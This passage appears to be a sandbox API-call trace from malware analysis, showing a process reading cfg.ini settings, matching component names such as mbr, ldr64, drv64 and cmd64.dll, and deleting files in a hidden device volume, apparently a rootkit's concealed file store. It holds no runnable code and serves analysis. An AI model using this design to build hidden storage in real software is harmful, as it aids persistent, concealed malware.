SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.809] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.809] IdePortDispatch () returned 0x103 [0117.809] KeWaitForMutexObject () returned 0x0 [0117.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.809] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.809] KeLeaveCriticalRegion () [0117.809] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.809] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.809] KeEnterCriticalRegion () [0117.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d28000 [0117.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.809] IdePortDispatch () returned 0x103 [0117.810] KeWaitForMutexObject () returned 0x0 [0117.810] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.810] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.810] IdePortDispatch () returned 0x103 [0117.810] KeWaitForMutexObject () returned 0x0 [0117.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.810] KeLeaveCriticalRegion () [0117.810] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.811] KeEnterCriticalRegion () [0117.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] KeLeaveCriticalRegion () [0117.811] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.811] KeEnterCriticalRegion () [0117.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.811] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] KeLeaveCriticalRegion () [0117.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.811] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.811] KeEnterCriticalRegion () [0117.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] ExFreePoolWithTag (P=0xfffffa800381bf60, Tag=0x0) [0117.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] KeLeaveCriticalRegion () [0117.811] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.811] ReleaseMutex (hMutex=0xf0) returned 1 [0117.811] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.811] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.811] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.811] KeEnterCriticalRegion () [0117.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.812] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.812] IdePortDispatch () returned 0x103 [0117.812] KeWaitForMutexObject () returned 0x0 [0117.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.812] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.812] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.812] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.812] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.812] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.812] KeLeaveCriticalRegion () [0117.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.812] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.812] KeEnterCriticalRegion () [0117.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.812] KeLeaveCriticalRegion () [0117.812] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.812] KeEnterCriticalRegion () [0117.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.812] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.813] IdePortDispatch () returned 0x103 [0117.813] KeWaitForMutexObject () returned 0x0 [0117.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.813] KeLeaveCriticalRegion () [0117.813] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.813] KeEnterCriticalRegion () [0117.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d29000 [0117.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.813] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.813] IdePortDispatch () returned 0x103 [0117.814] KeWaitForMutexObject () returned 0x0 [0117.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.814] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.814] IdePortDispatch () returned 0x103 [0117.814] KeWaitForMutexObject () returned 0x0 [0117.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.814] KeLeaveCriticalRegion () [0117.814] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.815] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.815] KeEnterCriticalRegion () [0117.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] KeLeaveCriticalRegion () [0117.815] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.815] KeEnterCriticalRegion () [0117.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.815] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] KeLeaveCriticalRegion () [0117.815] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.815] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.815] KeEnterCriticalRegion () [0117.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.815] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] KeLeaveCriticalRegion () [0117.815] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.815] ReleaseMutex (hMutex=0xf0) returned 1 [0117.815] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.815] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.815] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.815] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.815] KeEnterCriticalRegion () [0117.815] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.815] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.815] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.815] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.815] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.815] IdePortDispatch () returned 0x103 [0117.816] KeWaitForMutexObject () returned 0x0 [0117.816] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.816] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.816] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.816] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.816] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.816] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.816] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.816] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.816] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.816] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.816] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.816] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.816] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.816] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.816] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.816] KeLeaveCriticalRegion () [0117.816] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.816] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.816] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.816] KeEnterCriticalRegion () [0117.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.816] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.816] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.816] IdePortDispatch () returned 0x103 [0117.817] KeWaitForMutexObject () returned 0x0 [0117.817] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.817] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.817] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.817] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.817] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.817] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.817] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.817] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.817] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.817] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.817] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.817] KeLeaveCriticalRegion () [0117.817] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.817] ReleaseMutex (hMutex=0x100) returned 1 [0117.817] Sleep (dwMilliseconds=0x2bf20) [0117.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x696d0930, dwHighDateTime=0x1d24fa4)) [0117.827] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.827] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.827] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.827] KeEnterCriticalRegion () [0117.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.828] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.828] IdePortDispatch () returned 0x103 [0117.828] KeWaitForMutexObject () returned 0x0 [0117.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.828] KeLeaveCriticalRegion () [0117.828] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.828] KeEnterCriticalRegion () [0117.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.828] KeLeaveCriticalRegion () [0117.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.828] KeEnterCriticalRegion () [0117.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.829] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.829] IdePortDispatch () returned 0x103 [0117.829] KeWaitForMutexObject () returned 0x0 [0117.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.829] KeLeaveCriticalRegion () [0117.829] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.829] KeEnterCriticalRegion () [0117.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d2c000 [0117.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.829] IdePortDispatch () returned 0x103 [0117.830] KeWaitForMutexObject () returned 0x0 [0117.830] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.830] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.830] IdePortDispatch () returned 0x103 [0117.830] KeWaitForMutexObject () returned 0x0 [0117.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.830] KeLeaveCriticalRegion () [0117.830] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.831] KeEnterCriticalRegion () [0117.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] KeLeaveCriticalRegion () [0117.831] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.831] KeEnterCriticalRegion () [0117.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.831] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] KeLeaveCriticalRegion () [0117.831] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.831] KeEnterCriticalRegion () [0117.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.831] KeLeaveCriticalRegion () [0117.831] IofCompleteRequest 